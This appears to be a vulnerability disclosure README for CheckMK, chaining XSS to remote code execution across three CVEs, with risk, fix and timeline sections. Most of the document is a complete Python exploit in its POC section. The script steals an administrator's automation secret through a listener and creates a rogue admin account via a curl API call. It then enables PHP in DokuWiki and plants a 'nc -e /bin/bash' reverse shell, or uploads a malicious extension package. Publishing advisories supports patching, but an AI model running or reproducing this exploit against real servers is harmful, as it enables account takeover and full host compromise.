README.md
Rendering markdown...
1. ADVISORY INFORMATION
=======================
Product: CheckMk
Vendor URL: https://checkmk.com
Type: Remote Code Execution [CWE-434, CWE-276] via XSS [CWE-79]
Date found: 2021-09-01
Date published: 2022-03-25
CVSSv3 Score: CVE-2021-36563 (5.4), CVE-2021-40904 (8.8) and CVE-2021-40905 (8.8)
CVE: CVE-2021-36563, CVE-2021-40904 and CVE-2021-40905
2. CREDITS
==========
These vulnerabilities were discovered and researched by Edgar A. Loyola Torres.
3. VERSIONS AFFECTED
====================
CVE-2021-36563: CheckMK from 1.5.0 to 2.0.0p9.
CVE-2021-40904: CheckMK from 1.5.0 to 1.5.0p25.
CVE-2021-40905: CheckMK 2.0.0p17 Enterprise Edition and below.
4. INTRODUCTION
===============
CheckMK is comprehensive IT monitoring solution in the tradition of Nagios.
CheckMK is available as Raw Edition, which is 100% pure open source, and as
Enterprise Edition with a lot of additional features and professional support.
5. VULNERABILITY DETAILS
========================
Checkmk is vulnerable in multiple fields to XSS, therefore taking advantage of the vulnerability CVE-2021-36563 to steal the Secret Automation in a session opened by a console administrator user by means of a clickjacking.
Thanks to the "Secret Automation" that uses an API of the user named Automation that has administrator permissions, it is possible to create a console administrator user, and with this user use web scrapping techniques to exploit the misconfiguration of the embedded application "Dokuwiki" (CVE-2021-40904) in CheckMK Raw Edition (versions 1.5.0 to 1.6.0). On the other hand, using the same XSS technique, there is another way to gain remote code access by uploading a malicious .mkp file (CVE-2021-40905) in CheckMk Enterprise Edition (versions 1.5.0 to 2.0.0p17).
6. POC
======
#!/usr/bin/python3
#Exploit Title: CheckMK RCE via XSS
#Date: 2022-03-25
#Author: Edgar Loyola (@authtor)
#Homepage: https://github.com/Edgarloyola
#Software Link: https://checkmk.com
#CVE and Tested on: CVE-2021-36563 (From 1.5.0 to 2.0.0p9), CVE-2021-40904 (From 1.5.0 to 1.5.0p25) and CVE-2021-40905 (2.0.0p17 Enterprise Edition and below).
#
#Howto / Notes:
#This script exploits vulnerabilities by uploading a malicious .mkp file and
#by misconfiguration of the embedded PHP application DokuWiki through XSS clickjacking
#of an admin user. To exploit it you need valid credentials of a monitor user
#and enter the XSS payload to steal the Secret Automation and happy remote code execution ;)
import subprocess, json, argparse, ipaddress, requests, threading
from http.server import BaseHTTPRequestHandler,HTTPServer
from urllib import parse
from pwn import *
#Global variables
automationSecret = None
attackerServer = None
serverPort = None
targetHost = None
targetSiteName = None
burp = {'http':'http://127.0.0.1:8080'}
#GetHandler class that will be used to control the methods of our malicioues server
#that is listening in Phase 1
class GetHandler(BaseHTTPRequestHandler):
""" Example ----> /?automationSecret=461a9485-1462-4100-ba2a-0e95a1e997d7"""
def do_GET(self):
parsed_path = parse.urlparse(self.path)
#Instance of automation secret for global use
global automationSecret
automationSecret = parsed_path.query.split("=")[1]
#This useful in order to when exist a GET method stop inmediately
threading.Thread(target=server.shutdown, daemon=True).start()
#Method doRequest extremely important for the inclusion of the malicious php code
#embedded in the DOKUWIKI web-app or the uploading of the malicious .mkp file for
#the Checkmk Enterprise Edition version.
def doRequest(username,password,localhost,localport,targetHost,targetSiteName):
login_url = "http://"+targetHost+"/"+targetSiteName+"/check_mk/login.py"
dokuwiki_conf_url = "http://"+targetHost+"/"+targetSiteName+"/wiki/doku.php"
s = requests.session()
login_data = {
'filled_in': 'login',
'_login': '1',
'_origtarget': '',
'_username': username,
'_password': password,
'_login': 'Login'
}
r = s.post(login_url, data=login_data)
cookies = dict(r.cookies)
#The sectok (nonce) parameter is needed, so it will be captured with a regex in the GET method.
r = s.get(dokuwiki_conf_url, cookies=cookies)
#If the DOKUWIKI web-app does not exist, we will use the Extension Package of the EE version.
if r.status_code == 503 or r.status_code == 404:
print("\n###### Exploitation for the Extension Package ######\n")
mkp_upload_url = "http://"+targetHost+"/"+targetSiteName+"/check_mk/wato.py?mode=mkps_upload"
r = s.get(mkp_upload_url, cookies=cookies)
#We capture with the GET method the parameter that are random(nonces).
filledin_mkp = re.findall(r'<input value="(.*?)" type="hidden" name="filled_in"', r.text)[0]
filledin_mkp = filledin_mkp.split("\"",1)[0]
transid_mkp = re.findall(r'<input value="(.*?)" autocomplete="off" type="hidden" name="_transid"', r.text)[0]
transid_mkp = transid_mkp.split("\"")[-1]
filename = "uptime.mkp"
mkp_data = {
'filled_in' : (None, filledin_mkp),
'_transid' : (None, transid_mkp),
'_upload' : (filename, open('uptime.mkp', 'rb'), 'application/octet-stream'),
'mode' : (None,'mkps_upload'),
'_do_upload': (None,'SET')
}
#Uploaded via the POST method of the malicious .mkp
mkp_upload_url = "http://"+targetHost+"/"+targetSiteName+"/check_mk/wato.py"
r = s.post(mkp_upload_url, files=mkp_data, cookies=cookies)
#GET the nonce varibale "activate_until" for the following POST method.
activate_get_url = "http://"+targetHost+"/"+targetSiteName+"/check_mk/wato.py?mode=changelog"
r = s.get(activate_get_url, cookies=cookies)
activate_until_mkp = re.findall(r'id="activate_until" value="(.*?)"', r.text)[0]
#site_name = re.findall(r'class="narrow nobr">Local site (.*?)</td', r.text)[0]
#We have to set the variable "activate_foreign" to 1 so that it's possible to make an "activate change"
#with the user "pwned". Because we will have previously created this user administrator(pwned), with
#the API of the user "automation", which will be a foreign user (in the execution environment of pwned).
activate_change_data = {
'activate_until' : activate_until_mkp,
'sites' : targetSiteName,
'comment' : '',
'activate_foreign': '1'
}
#Activate the malicious MKP via "Activate Change".
activate_change_url = "http://"+targetHost+"/"+targetSiteName+"/check_mk/ajax_start_activation.py"
r = s.post(activate_change_url, data=activate_change_data, cookies=cookies)
return
###Case where the DOKUWIKI web-app exists.###
print("\n###### Exploitation for the Dokuwiki Web-App ######\n")
#Obtaining Dokuwiki cookies
cookies = dict(r.cookies)
id_doku = re.findall(r'"keywords" content="(.*?)"',r.text)[0]
doku = "http://"+targetHost+"/"+targetSiteName+"/wiki/doku.php?id="+id_doku+"&do=admin&page=config"
r = s.get(doku, cookies=cookies)
sectok_doku = re.findall(r'"hidden" name="sectok" value="(.*?)"',r.text)[0]
doku_setting = {
"id": id_doku,
"sectok": sectok_doku,
"config[title]": "OMD+Dokuwiki+checkmk150p21HACKERRRRR",
"config[start]": "start",
"config[lang]": "en",
"config[template]": "arctictut",
"config[tagline]": "",
"config[sidebar]": "sidebar",
"config[license]": "cc-by-sa",
"config[basedir]": "",
"config[baseurl]": "",
"config[cookiedir]": "",
"config[dmode]": "0755",
"config[fmode]": "0644",
"config[allowdebug]": "1",
"config[recent]": "20",
"config[recent_days]": "7",
"config[breadcrumbs]": "10",
"config[fullpath]": "1",
"config[typography]": "1",
"config[dformat]": "%Y/%m/%d+%H:%M",
"config[signature]": "+---+//[[@MAIL@|@NAME@]]+@DATE@//",
"config[showuseras]": "loginname",
"config[toptoclevel]": "1",
"config[tocminheads]": "3",
"config[maxtoclevel]": "3",
"config[maxseclevel]": "3",
"config[deaccent]": "1",
"config[useheading]": "0",
"config[hidepages]": "",
"config[useacl]": "1",
"config[autopasswd]": "1",
"config[authtype]": "authmultisite",
"config[passcrypt]": "smd5",
"config[defaultgroup]": "user",
"config[superuser]": "@admin",
"config[manager]": "!!not+set!!",
"config[profileconfirm]": "1",
"config[rememberme]": "1",
"config[disableactions][other]": "",
"config[auth_security_timeout]": "900",
"config[securecookie]": "1",
"config[remote]": "1",
"config[remoteuser]": "!!not+set!!",
"config[usewordblock]": "1",
"config[relnofollow]": "1",
"config[indexdelay]": "60*60*24*5",
"config[mailguard]": "hex",
"config[iexssprotect]": "1",
"config[usedraft]": "1",
"config[htmlok]": "0",
"config[phpok]": "1", # Allow embedded PHP = 0(disallow) or 1(allow)
"config[locktime]": "15*60",
"config[cachetime]": "60*60*24",
"config[target____wiki]": "",
"config[target____interwiki]": "",
"config[target____extern]": "",
"config[target____media]": "",
"config[target____windows]": "",
"config[mediarevisions]": "1",
"config[gdlib]": "2",
"config[im_convert]": "",
"config[jpg_quality]": "70",
"config[fetchsize]": "0",
"config[refcheck]": "1",
"config[subscribe_time]": "24*60*60",
"config[notify]": "",
"config[registernotify]": "",
"config[mailfrom]": "",
"config[mailprefix]": "",
"config[htmlmail]": "1",
"config[sitemap]": "0",
"config[rss_type]": "rss1",
"config[rss_linkto]": "diff",
"config[rss_content]": "abstract",
"config[rss_media]": "both",
"config[rss_update]": "5*60",
"config[rss_show_summary]": "1",
"config[userewrite]": "0",
"config[sepchar]": "_",
"config[fnencode]": "url",
"config[compress]": "1",
"config[cssdatauri]": "512",
"config[compression]": "gz",
"config[xsendfile]": "0",
"config[readdircache]": "0",
"config[dnslookups]": "1",
"config[proxy____host]": "",
"config[proxy____port]": "",
"config[proxy____user]": "",
"config[proxy____pass]": "",
"config[proxy____except]": "",
"config[ftp____host]": "localhost",
"config[ftp____port]": "21",
"config[ftp____user]": "user",
"config[ftp____pass]": "",
"config[ftp____root]": "/home/user/htdocs",
"config[plugin____authpdo____debug]": "1",
"config[plugin____authpdo____dsn]": "",
"config[plugin____authpdo____user]": "",
"config[plugin____authpdo____pass]": "",
"config[plugin____authpdo____select-user]": "",
"config[plugin____authpdo____select-user-groups]": "",
"config[plugin____authpdo____select-groups]": "",
"config[plugin____authpdo____insert-user]": "",
"config[plugin____authpdo____delete-user]": "",
"config[plugin____authpdo____list-users]": "",
"config[plugin____authpdo____count-users]": "",
"config[plugin____authpdo____update-user-info]": "",
"config[plugin____authpdo____update-user-login]": "",
"config[plugin____authpdo____update-user-pass]": "",
"config[plugin____authpdo____insert-group]": "",
"config[plugin____authpdo____join-group]": "",
"config[plugin____authpdo____leave-group]": "",
"config[plugin____bookcreator____toolbar]": "noempty",
"config[plugin____bookcreator____book_page]": "wiki:ebook",
"config[plugin____bookcreator____help_page]": "wiki:ebook_help",
"config[plugin____bookcreator____save_namespace]": "wiki:ebook",
"config[plugin____bookcreator____skip_ids][]": [
"sidebar",
"user",
"group",
"playground",
"wiki:syntax",
"wiki:ebook"
],
"config[plugin____bookcreator____skip_ids][other]": "",
"config[plugin____changes____dayheaderfmt]": "%Y-%m-%d",
"config[plugin____changes____maxage]": "14*24*60*60",
"config[plugin____include____showfooter]": "1",
"config[plugin____include____showdate]": "1",
"config[plugin____include____showuser]": "1",
"config[plugin____include____showcomments]": "1",
"config[plugin____include____showlinkbacks]": "1",
"config[plugin____include____showtags]": "1",
"config[plugin____include____showeditbtn]": "1",
"config[plugin____include____doredirect]": "1",
"config[plugin____include____doindent]": "1",
"config[plugin____include____parlink]": "1",
"config[plugin____include____safeindex]": "1",
"config[plugin____include____order]": "id",
"config[plugin____include____depth]": "1",
"config[plugin____include____readmore]": "1",
"config[plugin____indexmenu____defaultoptions]": "",
"config[plugin____indexmenu____aclcache]": "groups",
"config[plugin____indexmenu____headpage][]": [
":start:",
":same:",
":inside:"
],
"config[plugin____indexmenu____headpage][other]": "",
"config[plugin____indexmenu____hide_headpage]": "1",
"config[plugin____indexmenu____page_index]": "",
"config[plugin____indexmenu____empty_msg]": "",
"config[plugin____indexmenu____skip_index]": "",
"config[plugin____indexmenu____skip_file]": "",
"config[plugin____indexmenu____show_sort]": "1",
"config[plugin____pagelist____style]": "default",
"config[plugin____pagelist____showdate]": "1",
"config[plugin____pagelist____showuser]": "1",
"config[plugin____pagelist____showdesc]": "0",
"config[plugin____pagelist____showfirsthl]": "1",
"config[tpl____arctictut____sidebar]": "left",
"config[tpl____arctictut____pagename]": "sidebar",
"config[tpl____arctictut____trace]": "1",
"config[tpl____arctictut____main_sidebar_always]": "1",
"config[tpl____arctictut____wiki_actionlinks]": "links",
"config[tpl____arctictut____user_sidebar_namespace]": "user",
"config[tpl____arctictut____group_sidebar_namespace]": "group",
"config[tpl____arctictut____left_sidebar_order]": "main,namespace,user",
"config[tpl____arctictut____left_sidebar_content][]": "index",
"config[tpl____arctictut____left_sidebar_content][other]": "",
"config[tpl____arctictut____right_sidebar_order]": "toc,group",
"config[tpl____arctictut____right_sidebar_content][]": [
"toc",
"group"
],
"config[tpl____arctictut____right_sidebar_content][other]": "",
"config[tpl____arctictut____search]": "right",
"config[tpl____arctictut____logoname]": "headerlogo.png",
"config[tpl____arctictut____logowidth]": "128px",
"config[tpl____arctictut____logoheigth]": "128px",
"config[tpl____arctictut____show_backlink]": "both",
"config[tpl____arctictut____translation_bar]": "top+and+bottom",
"do": "admin",
"page": "config",
"save": "1",
"submit": ""
}
#POST method to set malicious configuration to allow embedded php code.
r = s.post(dokuwiki_conf_url, data=doku_setting, cookies=cookies)
#Now we will put malicious php code into the page.
embed_php_url = "http://"+targetHost+"/"+targetSiteName+"/wiki/doku.php?id="+id_doku+"&do=edit"
#GET method to be used to capture the nonces variables.
r = s.get(embed_php_url, cookies=cookies)
sectok_wiki = re.findall(r'"hidden" name="sectok" value="(.*?)"',r.text)[0]
rev_wiki = re.findall(r'"hidden" name="rev" value="(.*?)"',r.text)[0]
date_wiki = re.findall(r'"hidden" name="date" value="(.*?)"',r.text)[0]
prefix_wiki = re.findall(r'"hidden" name="prefix" value="(.*?)"',r.text)[0]
suffix_wiki = re.findall(r'"hidden" name="suffix" value="(.*?)"',r.text)[0]
changecheck_wiki = re.findall(r'"hidden" name="changecheck" value="(.*?)"',r.text)[0]
target_wiki = re.findall(r'"hidden" name="target" value="(.*?)"',r.text)[0]
#Malicious php command.
php_command = "system('nohup nc -e /bin/bash %s %s');" % (localhost,localport)
wikitext = {
"sectok" : sectok_wiki,
"id" : id_doku,
"rev" : rev_wiki,
"date" : date_wiki,
"prefix" : prefix_wiki,
"suffix" : suffix_wiki,
"changecheck": changecheck_wiki,
"target" : target_wiki,
"wikitext" : "<php>\r\n"+php_command+"\r\n</php>",
"do[save]" : "",
"summary" : ""
}
#Using the POST method to embed malicious php code in Dokuwiki.
r = s.post(embed_php_url, data=wikitext, cookies=cookies)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='RCE via XSS description.......')
parser.add_argument('attackerServer', type=str, help='The server that will be listening for a clickjacking')
parser.add_argument('serverPort', type=int, help='The server port')
parser.add_argument('targetHost', type=str, help='The target host in checkmk')
parser.add_argument('targetSiteName', type=str, help='The target site that represent the web-app')
args = parser.parse_args()
#Check the errors in the parameters
try:
ipaddress.ip_address(args.attackerServer)
except ValueError:
print('\nNo valid server IP\n')
parser.print_help()
sys.exit()
if subprocess.getstatusoutput('ping -c 1 '+args.attackerServer)[0] != 0:
print('\nNo is possible assign this IP for your server\n')
parser.print_help()
sys.exit()
#Assign values
attackerServer = args.attackerServer
serverPort = args.serverPort
try:
ipaddress.ip_address(args.targetHost)
except ValueError:
print('\nNo valid target IP\n')
parser.print_help()
#The target IP is checked to see if it responds.
if subprocess.getstatusoutput('ping -c 1 '+args.targetHost)[0] != 0:
print('\nNo responds the target IP\n')
parser.print_help()
sys.exit()
#Assign values
targetHost = args.targetHost
targetSiteName = args.targetSiteName
#Instance of Http server
server = HTTPServer((attackerServer, serverPort), GetHandler)
#PHASE1
print('\033[4;31m'+'#PHASE 1\n')
p1 = log.progress('Sesion XSS')
p1.status('Server started http://%s:%d and waiting for one administrator click' % (attackerServer,serverPort))
try:
server.serve_forever()
except KeyboardInterrupt:
# Clean-up server (close socket, etc.)
print("\nStopping the exploitation...\n")
server.socket.close()
sys.exit()
p1.success('Server stopped... We have achieved the Automation Secret: '+automationSecret)
#PHASE2
#Inject curl malicious
print('\033[4;31m'+'\n#PHASE 2\n')
username = "pwned"
password = "pass1234"
p2 = log.progress('RCE')
request = {
"users":{
username:{
"alias":username,
"password":password,
"roles":["admin"]
}
}
}
command= f"""curl "http://{targetHost}/{targetSiteName}/check_mk/webapi.py?action=add_users&_username=automation&_secret={automationSecret}" -d 'request={json.dumps(request)}'"""
p2.status('Injecting malicious command \n'+command)
p2.success('Injecting malicious curl for creating privileged user\n'+command)
if subprocess.getstatusoutput(command)[0] != 0:
print('\nFailed injection because doesn\'t exist targetSiteName: ' + targetSiteName + ' or by another issue\n')
parser.print_help()
sys.exit()
#PHASE3
#Create admnistrator user with the previous RCE (malicious curl)
print('\033[4;31m'+'\n#PHASE 3\n')
p3 = log.progress('Successful')
p3.status('RCE using the API of checkmk')
p3.success('Privilege escalation within the web-app. Administrator user with username: "'+username+'" created with password: "'+password+'"')
#PHASE4
#Exploitation phase of the administrator user to get a reverse shell
print('\033[4;31m'+'\n#PHASE 4\n')
p4 = log.progress('PWNED')
localHost = attackerServer
localPort = 443 # If you use port 443 you need to be root when executing this script, another case is to use the variable "serverPort+1"
try:
threading.Thread(target=doRequest, args=(username,password,localHost,localPort,targetHost,targetSiteName)).start()
except Exception as e:
log.error(str(e))
p4.status('Creation of a craft request for the Dokuwiki Web-app or Extension Package to get a reverse shell')
shell = listen(localPort,timeout=20).wait_for_connection()
p4.success('Successful reverse shell')
shell.interactive()
sys.exit()
7. RISK
=======
To successfully exploit this vulnerability an attacker must log in as a monitor user and introduce an XSS payload to wait for the victim (admin user) to click, gaining access to the victim machine via an RCE.
In the worst case, it is possible that with just a misconfigured guest user (having some extra permissions) he can enter an XSS payload, and wait for the clickjacking of an administrator user and the consequent execution of arbitrary code on the server.
8. SOLUTION
===========
CVE-2021-36563 - Update to Software Revision 2.0.0p10 or later.
CVE-2021-40904 - Upgrade to version 1.6 or higher.
CVE-2021-40905 - TBD or the MKPs shared on [https://exchange.checkmk.com/] are manually reviewed by CheckMk and they look for malicious code or suspicious imports, etc.
9. REPORT TIMELINE
==================
[CVE-2021-36563]
2021-04-12 Issues discovered.
2021-04-26 First contact with vendor via e-mail.
2021-04-28 Second contact with vendor via e-mail.
2021-04-29 Vendor response. XSS vulnerabilities were already detected, and would be patched in the next release.
2021-05-07 Vendor publicly exposes the vulnerability and its patch.
2021-05-12 New Software Version release(2.0.0p4) and Vulnerability patch confirmed.
2021-07-26 Public disclosure.
2021-07-28 New issues discovered and contact with the supplier by e-mail.
2021-07-29 Vendor response. XSS vulnerabilities were already detected, and would be patched in the next release.
2021-08-26 Vendor publicly exposes the vulnerability and its patch.
2021-09-16 New Software Version release(2.0.0p11) and Vulnerability patch confirmed.
[CVE-2021-40904]
2021-09-01 Issues discovered.
2021-09-06 First contact with vendor via e-mail.
2021-09-08 Vendor response. RCE vulnerabilities were already detected, and higher versions already exist with the patch.
2022-03-25 Public disclosure.
[CVE-2021-40905]
2021-09-01 Issues discovered.
2021-09-06 First contact with vendor via e-mail.
2021-09-08 Vendor response. RCE vulnerabilities were already detected, and would be patched in the next release.
2022-03-25 Public disclosure.
10. REFERENCES
=============
[CVE-2021-36563]
https://checkmk.com/de/werk/12762
https://checkmk.com/de/werk/13148
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36563
https://nvd.nist.gov/vuln/detail/CVE-2021-36563
[CVE-2021-40904]
https://checkmk.com/download/archive#checkmk-1.6.0
https://checkmk.com/download/archive#checkmk-2.0.0
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40904
https://nvd.nist.gov/vuln/detail/CVE-2021-40904
[CVE-2021-40905]
https://exchange.checkmk.com/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40905
https://nvd.nist.gov/vuln/detail/CVE-2021-40905